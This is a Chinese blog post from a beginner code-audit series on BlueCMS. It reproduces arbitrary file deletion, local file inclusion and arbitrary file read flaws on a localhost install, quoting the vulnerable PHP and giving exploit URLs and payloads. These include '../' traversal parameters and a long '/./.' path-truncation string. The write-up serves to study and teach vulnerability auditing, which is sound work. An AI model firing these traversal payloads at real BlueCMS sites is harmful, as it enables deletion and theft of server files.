51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

[代码审计]从0开始学习之bluecms(2)

上文地址http://535yx.cn/index.php/archives/400/

0X00前言 {#0X00%E5%89%8D%E8%A8%809886}

02098-c2jmhm0na3e.png

闲来无事我去cnvd逛了逛这cms有啥洞便于挖掘,接下来文章继续

0x01正文 {#0x01%E6%AD%A3%E6%96%879665}

  • 任意文件删除(publish.php)
    53961-200bau88dxs.png

第一个在publish.php
75918-vonu1y3g4t9.png

重点在@unlink上
59265-mvoj9pjd22.png

所以说,这里存在一个任意文件删除漏洞。接下来我们来复现一下
(注:这个地方需要先登入才能执行)
45830-mnug0j1s11.png

97869-df2x34le05u.png

先在同目录下新建个1.txt文件
为了方便观看,我在代码下加个echo
72498-tccovz00a5.png

构建参数:

http://localhost/shenji/bluecms/publish.php?act=del_pic&id=1.txt

12068-pttfovoti8n.png

  • 任意文件删除(user.php)

先说个未成功的
18331-scazkemhtu.png

33819-dqdvtpzv93d.png
这块就有点迷了,与publsh.php中的代码差别仅是表名不同,但是却不能执行。

我们接着往上翻
85979-h04gdb6jtwa.png

else{
        if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
            @unlink(BLUE_ROOT.$_POST['face_pic3']);
        }
    }

24343-fvb6kkvpfjt.png

成功执行!

  • 任意文件删除(database.php)
    87487-pswxtukp2vn.png

可以发现这里参数输入仅仅删除了字符串首尾的空白符,所以说可以利用../来实现任意文件删除
接下来我们试试删除根目录的2.txt文件
61224-dwywfbmpqmu.png

14683-456g9iy5d74.png

  • 文件包含漏洞(user.php)
    70462-atvggzle7a.png

75191-fnmphtufueq.png

嗯,cnvd这里看出了该漏洞十有八九在user.php
29311-gd347rhmp1g.png

06598-o5bkkt1blp8.png

这里我们就要尝试截断后面的文件地址。常见手法有%00 ./ 以及无数个.
这里要求:
长度截断:条件:windows的点需要长于256;linux的长于4096
%00条件:magic_quotes_gpc = Off php版本<5.3.4(由于文件自带addslashes()过滤所以说这里不能用00截断)
OK,我们先在根目录建个txt
23477-51ja596lhnt.png

最后如图所示:
97236-i7vpg5lectr.png

pay=../../2.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

也是可以的

  • 文件读取漏洞(/admin/tpl_manage.php)

这个漏洞在cnvd里看了下好像没有看到。有想交的xd可以自己去交,我懒得去提交了
我们先打开这个地址看看
13356-2i7ud38hlly.png

原来是个编辑模板的(在后台功能上只能编辑模板的html)
我们看看这个地址代码

elseif($act == 'edit'){
    $file = $_GET['tpl_name'];
    if(!$handle = @fopen(BLUE_ROOT.'templates/default/'.$file, 'rb')){
        showmsg('��Ŀ��ģ���ļ�ʧ��');
    }
    $tpl['content'] = fread($handle, filesize(BLUE_ROOT.'templates/default/'.$file));
    $tpl['content'] = htmlentities($tpl['content'], ENT_QUOTES, GB2312);
    fclose($handle);
    $tpl['name'] = $file;
    template_assign(array('current_act', 'tpl'), array('�༭ģ��', $tpl));
    $smarty->display('tpl_info.htm');
 }

这里可以发现$file变量未经过任何过滤,所以说可以造成个任意文件读取的漏洞

http://localhost/shenji/bluecms//admin/tpl_manage.php?act=edit&tpl_name=../../yanxia.txt

76873-7r0bv2vc5nm.png

赞(3)
未经允许不得转载:工具盒子 » [代码审计]从0开始学习之bluecms(2)